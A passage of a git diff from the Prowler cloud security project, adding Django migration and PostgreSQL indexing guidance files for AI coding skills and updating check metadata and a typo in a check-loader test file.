transaction) +create_objects_in_batches(tenant_id, ScanCategorySummary, summaries, batch_size=500) + +# Updating objects in batches +update_objects_in_batches(tenant_id, Finding, findings, fields=["status"], batch_size=500) + +# Deleting in batches +batch_delete(tenant_id, queryset, batch_size=settings.DJANGO_DELETION_BATCH_SIZE) +``` + +Each batch runs in its own `rls_transaction()` so: +- A failure in batch N doesn't roll back batches 1 through N-1 +- Lock duration is bounded to the batch size +- Memory stays constant regardless of total row count + +### Rules for backfill tasks + +1. **One RLS transaction per batch.** Never wrap the entire backfill in a single transaction. Each batch gets its own `rls_transaction(tenant_id)`. + +2. **Use `bulk_create` / `bulk_update` with explicit `batch_size`.** Never `.save()` in a loop. The default batch_size is 500. + +3. **Use `.iterator()` for reads.** When reading source data, use `queryset.iterator()` to avoid loading the entire result set into memory. + +4. **Use `.only()` / `.values_list()` for reads.** Fetch only the columns you need, not full model instances. + +5. **Catch and skip per-item failures.** Don't let one bad row kill the entire backfill. Log the error, count it, continue. + +```python +scans_processed = 0 +scans_skipped = 0 + +for scan_id in scan_ids: + try: + result = process_scan(tenant_id, scan_id) + scans_processed += 1 + except Exception: + logger.warning("Failed to process scan %s", scan_id) + scans_skipped += 1 + +logger.info("Backfill done: %d processed, %d skipped", scans_processed, scans_skipped) +``` + +6. **Log totals at start and end, not per-batch.** Per-batch logging floods the logs. Log the total count at the start, and the processed/skipped counts at the end. + +7. **Use `ignore_conflicts=True` for idempotent creates.** Makes the backfill safe to re-run if interrupted. + +```python +Model.objects.bulk_create(objects, batch_size=500, ignore_conflicts=True) +``` + +8. **Iterate per-tenant.** Dispatch one Celery task per tenant. This gives you natural parallelism, bounded memory per task, and the ability to retry a single tenant without re-running everything. + +### Existing examples + +| Migration | Task | +|---|---| +| `0062_backfill_daily_severity_summaries.py` | `backfill_daily_severity_summaries_task` | +| `0080_backfill_attack_paths_graph_data_ready.py` | Inline (trivial update) | +| `0082_backfill_finding_group_summaries.py` | `backfill_finding_group_summaries_task` | + +Task implementations: `tasks/jobs/backfill.py` +Batch utilities: `api/db_utils.py` (`batch_delete`, `create_objects_in_batches`, `update_objects_in_batches`) + +## Decision tree + +``` +Auto-generated migration? +├── Yes → Split it following the rules below +└── No → Review it against the rules below + +New model? +├── Yes → CreateModel + AddConstraint in one migration +│ AddIndex in separate migration(s), one per table +└── No, just indexes? +│ ├── Regular table → AddIndex in its own migration +│ └── Partitioned table (findings, resource_finding_mappings)? +│ ├── Step 1: RunPython + create_index_on_partitions (atomic=False) +│ └── Step 2: AddIndex on parent (separate migration) +│ └── Large table? → Consider --fake + manual apply +└── Data backfill? + ├── Trivial update (< ~10K rows)? → Inline RunPython is OK + └── Large backfill? → Migration dispatches Celery task(s) + ├── One task per tenant + ├── Batch processing (bulk_create/bulk_update, batch_size=500) + ├── One rls_transaction per batch + └── Catch + skip per-item failures, log totals +``` + +## Quick reference + +| Scenario | Approach | +|---|---| +| Auto-generated migration | Split by concern and table before committing | +| New model + constraints/RLS | Same migration (constraints are structural) | +| Indexes on a regular table | Separate migration, one table per file | +| Indexes on a partitioned table | Two migrations: partitions first (`RunPython` + `atomic=False`), then parent (`AddIndex`) | +| Index on a huge partitioned table | Same two migrations, but fake + apply manually in production | +| Trivial data backfill (< ~10K rows) | Inline `RunPython` with single `.update()` call | +| Large data backfill | Migration dispatches Celery task per tenant, task batches with `rls_transaction` | + +## Review output format + +1. List each violation with rule number and one-line explanation +2. Show corrected migration file(s) +3. For partitioned tables, show both partition and parent migrations + +If migration passes all checks, say so. + +## Context7 lookups + +**Prerequisite:** Install Context7 MCP server for up-to-date documentation lookup. + +When implementing or debugging migration patterns, query these libraries via `mcp_context7_query-docs`: + +| Library | Context7 ID | Use for | +|---------|-------------|---------| +| Django 5.1 | `/websites/djangoproject_en_5_1` | Migration operations, indexes, constraints, `SchemaEditor` | +| PostgreSQL | `/websites/postgresql_org_docs_current` | `CREATE INDEX CONCURRENTLY`, partitioned tables, `pg_inherits` | +| django-postgres-extra | `/SectorLabs/django-postgres-extra` | Partitioned models, `PostgresPartitionedModel`, partition management | + +**Example queries:** +``` +mcp_context7_query-docs(libraryId="/websites/djangoproject_en_5_1", query="migration operations AddIndex RunPython atomic") +mcp_context7_query-docs(libraryId="/websites/djangoproject_en_5_1", query="database indexes Meta class concurrently") +mcp_context7_query-docs(libraryId="/websites/postgresql_org_docs_current", query="CREATE INDEX CONCURRENTLY partitioned table") +mcp_context7_query-docs(libraryId="/SectorLabs/django-postgres-extra", query="partitioned model range partition index") +``` + +> **Note:** Use `mcp_context7_resolve-library-id` first if you need to find the correct library ID. + +## Commands + +```bash +# Generate migrations (ALWAYS review output before committing) +python manage.py makemigrations +python manage.py pgmakemigrations + +# Apply migrations +python manage.py migrate + +# Fake a migration (mark as applied without running) +python manage.py migrate api --fake + +# Manage partitions +python manage.py pgpartition --using admin +``` + +## Resources + +- **Partition helpers**: `api/src/backend/api/db_utils.py` (`create_index_on_partitions`, `drop_index_on_partitions`) +- **Partition config**: `api/src/backend/api/partitions.py` +- **RLS constraints**: `api/src/backend/api/rls.py` +- **Existing examples**: `0028` + `0029`, `0024` + `0025`, `0036` + `0037` diff --git a/skills/postgresql-indexing/SKILL.md b/skills/postgresql-indexing/SKILL.md new file mode 100644 index 0000000000..7fac9f4ecd --- /dev/null +++ b/skills/postgresql-indexing/SKILL.md @@ -0,0 +1,392 @@ +--- +name: postgresql-indexing +description: > + PostgreSQL indexing best practices for Prowler: index design, partial indexes, partitioned table + indexing, EXPLAIN ANALYZE validation, concurrent operations, monitoring, and maintenance. + Trigger: When creating or modifying PostgreSQL indexes, analyzing query performance with EXPLAIN, + debugging slow queries, reviewing index usage statistics, reindexing, dropping indexes, or working + with partitioned table indexes. Also trigger when discussing index strategies, partial indexes, + or index maintenance operations like VACUUM or ANALYZE. +license: Apache-2.0 +metadata: + author: prowler-cloud + version: "1.0" + scope: [api] + auto_invoke: + - "Creating or modifying PostgreSQL indexes" + - "Analyzing query performance with EXPLAIN" + - "Debugging slow queries or missing indexes" + - "Dropping or reindexing PostgreSQL indexes" +allowed-tools: Read, Grep, Glob, Bash +--- + +## When to use + +- Creating or modifying PostgreSQL indexes +- Analyzing query plans with `EXPLAIN` +- Debugging slow queries or missing index usage +- Dropping, reindexing, or validating indexes +- Working with indexes on partitioned tables (findings, resource_finding_mappings) +- Running VACUUM or ANALYZE after index changes + +## Index design + +### Partial indexes: constant columns go in WHERE, not in the key + +When a column has a fixed value for the query (e.g., `state = 'completed'`), put it in the `WHERE` clause of the index, not in the indexed columns. Otherwise the planner cannot exploit the ordering of the other columns. + +```sql +-- Bad: state in the key wastes space and breaks ordering +CREATE INDEX idx_scans_tenant_state ON scans (tenant_id, state, inserted_at DESC); + +-- Good: state as a filter, planner uses tenant_id + inserted_at ordering +CREATE INDEX idx_scans_tenant_ins_completed ON scans (tenant_id, inserted_at DESC) + WHERE state = 'completed'; +``` + +### Column order matters + +Put high-selectivity columns first (columns that filter out the most rows). For composite indexes, the leftmost column must appear in the query's WHERE clause for the index to be used. + +## Validating index effectiveness + +### Always EXPLAIN (ANALYZE, BUFFERS) after adding indexes + +Never assume an index is being used. Run `EXPLAIN (ANALYZE, BUFFERS)` to confirm. + +```sql +EXPLAIN (ANALYZE, BUFFERS) +SELECT * +FROM users +WHERE email = 'user@example.com'; +``` + +Use [Postgres EXPLAIN Visualizer (pev)](https://tatiyants.com/pev/) to visualize query plans and identify bottlenecks. + +### Force index usage for testing + +The planner may choose a sequential scan on small datasets. Toggle `enable_seqscan = off` to confirm the index path works, then re-enable it. + +```sql +SET enable_seqscan = off; + +EXPLAIN (ANALYZE, BUFFERS) +SELECT DISTINCT ON (provider_id) provider_id +FROM scans +WHERE tenant_id = '95383b24-da01-44b5-a713-0d9920d554db' + AND state = 'completed' +ORDER BY provider_id, inserted_at DESC; + +SET enable_seqscan = on; -- always re-enable after testing +``` + +This is for validation only. Never leave `enable_seqscan = off` in production. + +## Over-indexing + +Every extra index has three costs that compound: + +1. **Write overhead.** Every INSERT and UPDATE must maintain all indexes. Extra indexes also kill HOT (Heap-Only-Tuple) updates, which normally skip index maintenance when unindexed columns change. + +2. **Planning time.** The planner evaluates more execution paths per index. On simple OLTP queries, planning time can exceed execution time by 4x when index count is high. + +3. **Lock contention (fastpath limit).** PostgreSQL uses a fast path for the first 16 locks per backend. After 16 relations (table + its indexes), it falls back to slower LWLock mechanisms. At high QPS (100+), this causes `LockManager` wait events. + +Rules: +- Drop unused and redundant indexes regularly +- Be especially careful with partitioned tables (each partition multiplies the index count) +- Use prepared statements to reduce planning overhead when index count is high + +## Finding redundant indexes + +Two indexes are redundant when: +- They have the same columns in the same order (duplicates) +- One is a prefix of the other: index `(a)` is redundant to `(a, b)`, but NOT to `(b, a)` + +Column order matters. For partial indexes, the WHERE clause must also match. + +```sql +-- Quick check: find indexes that share a leading column on the same table +SELECT + a.indrelid::regclass AS table_name, + a.indexrelid::regclass AS index_a, + b.indexrelid::regclass AS index_b, + pg_size_pretty(pg_relation_size(a.indexrelid)) AS size_a, + pg_size_pretty(pg_relation_size(b.indexrelid)) AS size_b +FROM pg_index a +JOIN pg_index b ON a.indrelid = b.indrelid + AND a.indexrelid != b.indexrelid + AND a.indkey::text = ( + SELECT string_agg(x::text, ' ') + FROM unnest(b.indkey[:array_length(a.indkey, 1)]) AS x + ) +WHERE NOT a.indisunique; +``` + +Before dropping: verify on all workload nodes (primary + replicas), use `DROP INDEX CONCURRENTLY`, and monitor for plan regressions. + +## Monitoring index usage + +### Identify unused indexes + +Query `pg_stat_all_indexes` to find indexes that are never or rarely scanned: + +```sql +SELECT + idxstat.schemaname AS schema_name, + idxstat.relname AS table_name, + idxstat.indexrelname AS index_name, + idxstat.idx_scan AS index_scans_count, + idxstat.last_idx_scan AS last_idx_scan_timestamp, + pg_size_pretty(pg_relation_size(idxstat.indexrelid)) AS index_size +FROM pg_stat_all_indexes AS idxstat +JOIN pg_index i ON idxstat.indexrelid = i.indexrelid +WHERE idxstat.schemaname NOT IN ('pg_catalog', 'information_schema', 'pg_toast') + AND NOT i.indisunique +ORDER BY idxstat.idx_scan ASC, idxstat.last_idx_scan ASC; +``` + +Indexes with `idx_scan = 0` and no recent `last_idx_scan` are candidates for removal. + +Before dropping, verify: +- Stats haven't been reset recently (check `stats_reset` in `pg_stat_database`) +- Stats cover at least 1 month of production traffic +- All workload nodes (primary + replicas) have been checked +- The index isn't used by a periodic job that runs infrequently + +```sql +-- Check when stats were last reset +SELECT stats_reset, age(now(), stats_reset) +FROM pg_stat_database +WHERE datname = current_database(); +``` + +### Monitor index creation progress + +Do not assume index creation succeeded. Use `pg_stat_progress_create_index` (Postgres 12+) to watch progress live: + +```sql +SELECT * FROM pg_stat_progress_create_index; +``` + +In psql, use `\watch 5` to refresh every 5 seconds for a live dashboard view. `CREATE INDEX CONCURRENTLY` and `REINDEX CONCURRENTLY` have more phases than standard operations: monitor for blocking sessions and wait events. + +### Validate index integrity + +Check for invalid indexes regularly: + +```sql +SELECT c.relname AS index_name, i.indisvalid +FROM pg_class c +JOIN pg_index i ON i.indexrelid = c.oid +WHERE i.indisvalid = false; +``` + +Invalid indexes are ignored by the planner. They waste space and cause inconsistent query performance, especially on partitioned tables where some partitions may have valid indexes and others do not. + +## Concurrent operations + +### Always use CONCURRENTLY in production + +Never create or drop indexes without `CONCURRENTLY` on live tables. Without it, the operation holds a lock that blocks all writes. + +```sql +-- Create +CREATE INDEX CONCURRENTLY IF NOT EXISTS index_name ON table_name (column_name); + +-- Drop +DROP INDEX CONCURRENTLY IF EXISTS index_name; +``` + +`DROP INDEX CONCURRENTLY` cannot run inside a transaction block. + +### Always use IF NOT EXISTS / IF EXISTS + +Makes scripts idempotent. Safe to re-run without errors from duplicate or missing indexes. + +### Concurrent indexing can fail silently + +`CREATE INDEX CONCURRENTLY` can fail without raising an error. The result is an invalid index that the planner ignores. This is particularly dangerous on partitioned tables: some partitions get valid indexes, others don't, causing inconsistent query performance. + +After any concurrent index creation, always validate: + +```sql +SELECT c.relname, i.indisvalid +FROM pg_class c +JOIN pg_index i ON i.indexrelid = c.oid +WHERE c.relname LIKE '%your_index_name%'; +``` + +## Reindexing invalid indexes + +Rebuild invalid indexes without locking writes: + +```sql +REINDEX INDEX CONCURRENTLY index_name; +``` + +### Understanding _ccnew and _ccold artifacts + +When `CREATE INDEX CONCURRENTLY` or `REINDEX INDEX CONCURRENTLY` is interrupted, temporary indexes may remain: + +| Suffix | Meaning | Action | +|--------|---------|--------| +| `_ccnew` | New index being built, incomplete | Drop it and retry `REINDEX CONCURRENTLY` | +| `_ccold` | Old index being replaced, rebuild succeeded | Safe to drop | + +```sql +-- Example: both original and temp are invalid +-- users_emails_2019 btree (col) INVALID +-- users_emails_2019_ccnew btree (col) INVALID + +-- Drop the failed new one, then retry +DROP INDEX CONCURRENTLY IF EXISTS users_emails_2019_ccnew; +REINDEX INDEX CONCURRENTLY users_emails_2019; +``` + +These leftovers clutter the schema, confuse developers, and waste disk space. Clean them up. + +## Indexing partitioned tables + +### Do NOT use ALTER INDEX ATTACH PARTITION + +As stated in PostgreSQL documentation, `ALTER INDEX ... ATTACH PARTITION` prevents dropping malfunctioning or non-performant indexes from individual partitions. An attached index cannot be dropped by itself and is automatically dropped if its parent index is dropped. + +This removes the ability to manage indexes per-partition, which we need for: +- Dropping broken indexes on specific partitions +- Skipping indexes on old partitions to save storage +- Rebuilding indexes on individual partitions without affecting others + +### Correct approach: create on partitions, then on parent + +1. Create the index on each child partition concurrently: + +```sql +CREATE INDEX CONCURRENTLY IF NOT EXISTS idx_child_partition + ON child_partition (column_name); +``` + +2. Create the index on the parent table (metadata-only, fast): + +```sql +CREATE INDEX IF NOT EXISTS idx_parent + ON parent_table (column_name); +``` + +PostgreSQL will automatically recognize partition-level indexes as part of the parent index definition when the index names and definitions match. + +### Prioritize active partitions + +For time-based partitions (findings uses monthly partitions): + +- Create indexes on recent/current partitions where data is actively queried +- Skip older partitions that are rarely accessed +- The `all_partitions=False` default in `create_index_on_partitions` handles this automatically + +## Index maintenance and bloat + +Over time, B-tree indexes accumulate bloat from updates and deletes. VACUUM reclaims heap space but does NOT rebalance B-tree pages. Periodic reindexing is necessary for heavily updated tables. + +### Detecting bloat + +Indexes with estimated bloat above 50% are candidates for `REINDEX CONCURRENTLY`. Check bloat with tools like `pgstattuple` or bloat estimation queries. + +### Reducing bloat buildup + +Three things slow degradation: +1. **Upgrade to PostgreSQL 14+** for B-tree deduplication and bottom-up deletion +2. **Maximize HOT updates** by not indexing frequently-updated columns +3. **Tune autovacuum** to run more aggressively on high-churn tables + +### Rebuilding many indexes without deadlocks + +If you rebuild two indexes on the same table in parallel, PostgreSQL detects a deadlock and kills one session. To rebuild many indexes across multiple sessions safely, assign all indexes for a given table to the same session: + +```sql +\set NUMBER_OF_SESSIONS 10 + +SELECT + format('%I.%I', n.nspname, c.relname) AS table_fqn, + format('%I.%I', n.nspname, i.relname) AS index_fqn, + mod( + hashtext(format('%I.%I', n.nspname, c.relname)) & 2147483647, + :NUMBER_OF_SESSIONS + ) AS session_id +FROM pg_index idx +JOIN pg_class c ON idx.indrelid = c.oid +JOIN pg_class i ON idx.indexrelid = i.oid +JOIN pg_namespace n ON c.relnamespace = n.oid +WHERE n.nspname NOT IN ('pg_catalog', 'pg_toast', 'information_schema') +ORDER BY table_fqn, index_fqn; +``` + +Then run each session's indexes in a separate `REINDEX INDEX CONCURRENTLY` call. Set `NUMBER_OF_SESSIONS` based on `max_parallel_maintenance_workers` and available I/O. + +## Dropping indexes + +### Post-drop maintenance + +After dropping an index, run VACUUM and ANALYZE to reclaim space and update planner statistics: + +```sql +-- Full vacuum + analyze (can be heavy on large tables) +VACUUM (ANALYZE) your_table; + +-- Lightweight alternative for huge tables: just update statistics +ANALYZE your_table; +``` + +## Commands + +```sql +-- Validate query uses an index +EXPLAIN (ANALYZE, BUFFERS) SELECT ...; + +-- Check index creation progress +SELECT * FROM pg_stat_progress_create_index; + +-- Find invalid indexes +SELECT c.relname, i.indisvalid +FROM pg_class c JOIN pg_index i ON i.indexrelid = c.oid +WHERE i.indisvalid = false; + +-- Find unused indexes +SELECT relname, indexrelname, idx_scan, pg_size_pretty(pg_relation_size(indexrelid)) +FROM pg_stat_all_indexes +WHERE schemaname = 'public' AND idx_scan = 0; + +-- Create index safely +CREATE INDEX CONCURRENTLY IF NOT EXISTS idx_name ON table (columns); + +-- Drop index safely +DROP INDEX CONCURRENTLY IF EXISTS idx_name; + +-- Rebuild invalid index +REINDEX INDEX CONCURRENTLY idx_name; + +-- Post-drop maintenance +VACUUM (ANALYZE) table_name; +``` + +## Context7 lookups + +**Prerequisite:** Install Context7 MCP server for up-to-date documentation lookup. + +| Library | Context7 ID | Use for | +|---------|-------------|---------| +| PostgreSQL | `/websites/postgresql_org_docs_current` | Index types, EXPLAIN, partitioned table indexing, REINDEX | + +**Example queries:** +``` +mcp_context7_query-docs(libraryId="/websites/postgresql_org_docs_current", query="CREATE INDEX CONCURRENTLY partitioned table") +mcp_context7_query-docs(libraryId="/websites/postgresql_org_docs_current", query="EXPLAIN ANALYZE BUFFERS query plan") +mcp_context7_query-docs(libraryId="/websites/postgresql_org_docs_current", query="partial index WHERE clause") +mcp_context7_query-docs(libraryId="/websites/postgresql_org_docs_current", query="REINDEX CONCURRENTLY invalid index") +mcp_context7_query-docs(libraryId="/websites/postgresql_org_docs_current", query="pg_stat_all_indexes monitoring") +``` + +> **Note:** Use `mcp_context7_resolve-library-id` first if you need to find the correct library ID. + +## Resources + +- **EXPLAIN Visualizer**: [pev](https://tatiyants.com/pev/) diff --git a/skills/prowler-attack-paths-query/SKILL.md b/skills/prowler-attack-paths-query/SKILL.md index 78f53b4c0d..dcbb2d406b 100644 --- a/skills/prowler-attack-paths-query/SKILL.md +++ b/skills/prowler-attack-paths-query/SKILL.md @@ -252,13 +252,13 @@ https://raw.githubusercontent.com/cartography-cncf/cartography/refs/tags/0.126.0 **IMPORTANT**: Always match the schema version to the dependency version in `pyproject.toml`. Using master/main may reference node labels or properties that don't exist in the deployed version. -**Additional Prowler Labels**: The Attack Paths sync task adds extra labels: +**Additional Prowler Labels**: The Attack Paths sync task adds labels that queries can reference: - `ProwlerFinding` - Prowler finding nodes with `status`, `provider_uid` properties -- `ProviderResource` - Generic resource marker -- `{Provider}Resource` - Provider-specific marker (e.g., `AWSResource`) - `Internet` - Internet sentinel node with `_provider_id` property (used in network exposure queries) +Other internal labels (`_ProviderResource`, `_AWSResource`, `_Tenant_*`, `_Provider_*`) exist for isolation but should never be used in queries. + These are defined in `api/src/backend/tasks/jobs/attack_paths/config.py`. ### 3. Consult the Schema for Available Data diff --git a/tests/lib/check/check_loader_test.py b/tests/lib/check/check_loader_test.py index 740ed67844..140dbdaaa7 100644 --- a/tests/lib/check/check_loader_test.py +++ b/tests/lib/check/check_loader_test.py @@ -31,7 +31,9 @@ class TestCheckLoader: Provider="aws", CheckID=S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME, CheckTitle="Check S3 Bucket Level Public Access Block.", - CheckType=["Data Protection"], + CheckType=[ + "Software and Configuration Checks/AWS Security Best Practices/Network Reachability" + ], CheckAliases=[S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME_CUSTOM_ALIAS], ServiceName=S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME_SERVICE, SubServiceName="", @@ -40,7 +42,7 @@ class TestCheckLoader: ResourceType="AwsS3Bucket", Description="Check S3 Bucket Level Public Access Block.", Risk="Public access policies may be applied to sensitive data buckets.", - RelatedUrl="https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html", + RelatedUrl="", Remediation=Remediation( Code=Code( NativeIaC="", @@ -50,7 +52,7 @@ class TestCheckLoader: ), Recommendation=Recommendation( Text="You can enable Public Access Block at the bucket level to prevent the exposure of your data stored in S3.", - Url="https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html", + Url="https://hub.prowler.com/check/s3_bucket_level_public_access_block", ), ), Categories=["internet-exposed"], @@ -65,7 +67,9 @@ class TestCheckLoader: Provider="aws", CheckID=IAM_USER_NO_MFA_NAME, CheckTitle="Check IAM User No MFA.", - CheckType=["Data Protection"], + CheckType=[ + "Software and Configuration Checks/Industry and Regulatory Standards/CIS AWS Foundations Benchmark" + ], CheckAliases=[IAM_USER_NO_MFA_NAME_CUSTOM_ALIAS], ServiceName=IAM_USER_NO_MFA_NAME_SERVICE, SubServiceName="", @@ -74,7 +78,7 @@ class TestCheckLoader: ResourceType="AwsIamUser", Description="Check IAM User No MFA.", Risk="IAM users should have Multi-Factor Authentication (MFA) enabled.", - RelatedUrl="https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_enable_virtual.html", + RelatedUrl="", Remediation=Remediation( Code=Code( NativeIaC="", @@ -84,7 +88,7 @@ class TestCheckLoader: ), Recommendation=Recommendation( Text="You can enable MFA for your IAM user to prevent unauthorized access to your AWS account.", - Url="https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_enable_virtual.html", + Url="https://hub.prowler.com/check/iam_user_no_mfa", ), ), Categories=[], @@ -98,8 +102,8 @@ class TestCheckLoader: return CheckMetadata( Provider="aws", CheckID=CLOUDTRAIL_THREAT_DETECTION_ENUMERATION_NAME, - CheckTitle="Ensure there are no potential enumeration threats in CloudTrail", - CheckType=[], + CheckTitle="CloudTrail should not have potential enumeration threats", + CheckType=["TTPs/Discovery"], ServiceName="cloudtrail", SubServiceName="", ResourceIdTemplate="arn:partition:service:region:account-id:resource-id", @@ -112,7 +116,7 @@ class TestCheckLoader: Code=Code(CLI="", NativeIaC="", Other="", Terraform=""), Recommendation=Recommendation( Text="To remediate this issue, ensure that there are no potential enumeration threats in CloudTrail.", - Url="https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-concepts.html#cloudtrail-concepts-logging-data-events", + Url="https://hub.prowler.com/check/cloudtrail_threat_detection_enumeration", ), ), Categories=["threat-detection"], @@ -123,55 +127,55 @@ class TestCheckLoader: ) def test_load_checks_to_execute(self): - bulk_checks_metatada = { + bulk_checks_metadata = { S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME: self.get_custom_check_s3_metadata() } assert {S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME} == load_checks_to_execute( - bulk_checks_metadata=bulk_checks_metatada, + bulk_checks_metadata=bulk_checks_metadata, provider=self.provider, ) def test_load_checks_to_execute_with_check_list(self): - bulk_checks_metatada = { + bulk_checks_metadata = { S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME: self.get_custom_check_s3_metadata() } check_list = [S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME] assert {S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME} == load_checks_to_execute( - bulk_checks_metadata=bulk_checks_metatada, + bulk_checks_metadata=bulk_checks_metadata, check_list=check_list, provider=self.provider, ) def test_load_checks_to_execute_with_severities(self): - bulk_checks_metatada = { + bulk_checks_metadata = { S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME: self.get_custom_check_s3_metadata() } severities = [S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_SEVERITY] assert {S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME} == load_checks_to_execute( - bulk_checks_metadata=bulk_checks_metatada, + bulk_checks_metadata=bulk_checks_metadata, severities=severities, provider=self.provider, ) def test_load_checks_to_execute_with_severities_and_services(self): - bulk_checks_metatada = { + bulk_checks_metadata = { S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME: self.get_custom_check_s3_metadata() } service_list = [S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME_SERVICE] severities = [S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_SEVERITY] assert {S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME} == load_checks_to_execute( - bulk_checks_metadata=bulk_checks_metatada, + bulk_checks_metadata=bulk_checks_metadata, service_list=service_list, severities=severities, provider=self.provider, ) def test_load_checks_to_execute_with_severities_and_services_multiple(self): - bulk_checks_metatada = { + bulk_checks_metadata = { S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME: self.get_custom_check_s3_metadata(), IAM_USER_NO_MFA_NAME: self.get_custom_check_iam_metadata(), } @@ -182,7 +186,7 @@ class TestCheckLoader: S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME, IAM_USER_NO_MFA_NAME, } == load_checks_to_execute( - bulk_checks_metadata=bulk_checks_metatada, + bulk_checks_metadata=bulk_checks_metadata, service_list=service_list, severities=severities, provider=self.provider, @@ -211,7 +215,7 @@ class TestCheckLoader: def test_load_checks_to_execute_with_checks_file( self, ): - bulk_checks_metatada = { + bulk_checks_metadata = { S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME: self.get_custom_check_s3_metadata() } checks_file = "path/to/test_file" @@ -220,7 +224,7 @@ class TestCheckLoader: return_value={S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME}, ): assert {S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME} == load_checks_to_execute( - bulk_checks_metadata=bulk_checks_metatada, + bulk_checks_metadata=bulk_checks_metadata, checks_file=checks_file, provider=self.provider, ) @@ -228,13 +232,13 @@ class TestCheckLoader: def test_load_checks_to_execute_with_service_list( self, ): - bulk_checks_metatada = { + bulk_checks_metadata = { S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME: self.get_custom_check_s3_metadata() } service_list = [S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME_SERVICE] assert {S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME} == load_checks_to_execute( - bulk_checks_metadata=bulk_checks_metatada, + bulk_checks_metadata=bulk_checks_metadata, service_list=service_list, provider=self.provider, ) @@ -242,7 +246,7 @@ class TestCheckLoader: def test_load_checks_to_execute_with_compliance_frameworks( self, ): - bulk_checks_metatada = { + bulk_checks_metadata = { S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME: self.get_custom_check_s3_metadata() } bulk_compliance_frameworks = { @@ -264,34 +268,39 @@ class TestCheckLoader: } compliance_frameworks = ["soc2_aws"] - assert {S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME} == load_checks_to_execute( - bulk_checks_metadata=bulk_checks_metatada, - bulk_compliance_frameworks=bulk_compliance_frameworks, - compliance_frameworks=compliance_frameworks, - provider=self.provider, - ) + # Mock get_bulk to prevent loading real metadata files that may fail validation + with patch( + "prowler.lib.check.checks_loader.CheckMetadata.get_bulk", + return_value=bulk_checks_metadata, + ): + assert {S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME} == load_checks_to_execute( + bulk_checks_metadata=bulk_checks_metadata, + bulk_compliance_frameworks=bulk_compliance_frameworks, + compliance_frameworks=compliance_frameworks, + provider=self.provider, + ) def test_load_checks_to_execute_with_categories( self, ): - bulk_checks_metatada = { + bulk_checks_metadata = { S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME: self.get_custom_check_s3_metadata() } categories = {"internet-exposed"} assert {S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME} == load_checks_to_execute( - bulk_checks_metadata=bulk_checks_metatada, + bulk_checks_metadata=bulk_checks_metadata, categories=categories, provider=self.provider, ) def test_load_checks_to_execute_no_bulk_checks_metadata(self): - bulk_checks_metatada = { + bulk_checks_metadata = { S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME: self.get_custom_check_s3_metadata() } with patch( "prowler.lib.check.checks_loader.CheckMetadata.get_bulk", - return_value=bulk_checks_metatada, + return_value=bulk_checks_metadata, ): assert {S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME} == load_checks_to_execute( provider=self.provider, @@ -318,13 +327,13 @@ class TestCheckLoader: compliance_frameworks = ["soc2_aws"] - bulk_checks_metatada = { + bulk_checks_metadata = { S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME: self.get_custom_check_s3_metadata() } with ( patch( "prowler.lib.check.checks_loader.CheckMetadata.get_bulk", - return_value=bulk_checks_metatada, + return_value=bulk_checks_metadata, ), patch( "prowler.lib.check.checks_loader.Compliance.get_bulk", @@ -351,38 +360,38 @@ class TestCheckLoader: ) def test_threat_detection_category(self): - bulk_checks_metatada = { + bulk_checks_metadata = { CLOUDTRAIL_THREAT_DETECTION_ENUMERATION_NAME: self.get_threat_detection_check_metadata() } categories = {"threat-detection"} assert {CLOUDTRAIL_THREAT_DETECTION_ENUMERATION_NAME} == load_checks_to_execute( - bulk_checks_metadata=bulk_checks_metatada, + bulk_checks_metadata=bulk_checks_metadata, categories=categories, provider=self.provider, ) def test_discard_threat_detection_checks(self): - bulk_checks_metatada = { + bulk_checks_metadata = { CLOUDTRAIL_THREAT_DETECTION_ENUMERATION_NAME: self.get_threat_detection_check_metadata() } categories = {} assert set() == load_checks_to_execute( - bulk_checks_metadata=bulk_checks_metatada, + bulk_checks_metadata=bulk_checks_metadata, categories=categories, provider=self.provider, ) def test_threat_detection_single_check(self): - bulk_checks_metatada = { + bulk_checks_metadata = { CLOUDTRAIL_THREAT_DETECTION_ENUMERATION_NAME: self.get_threat_detection_check_metadata() } categories = {} check_list = [CLOUDTRAIL_THREAT_DETECTION_ENUMERATION_NAME] assert {CLOUDTRAIL_THREAT_DETECTION_ENUMERATION_NAME} == load_checks_to_execute( - 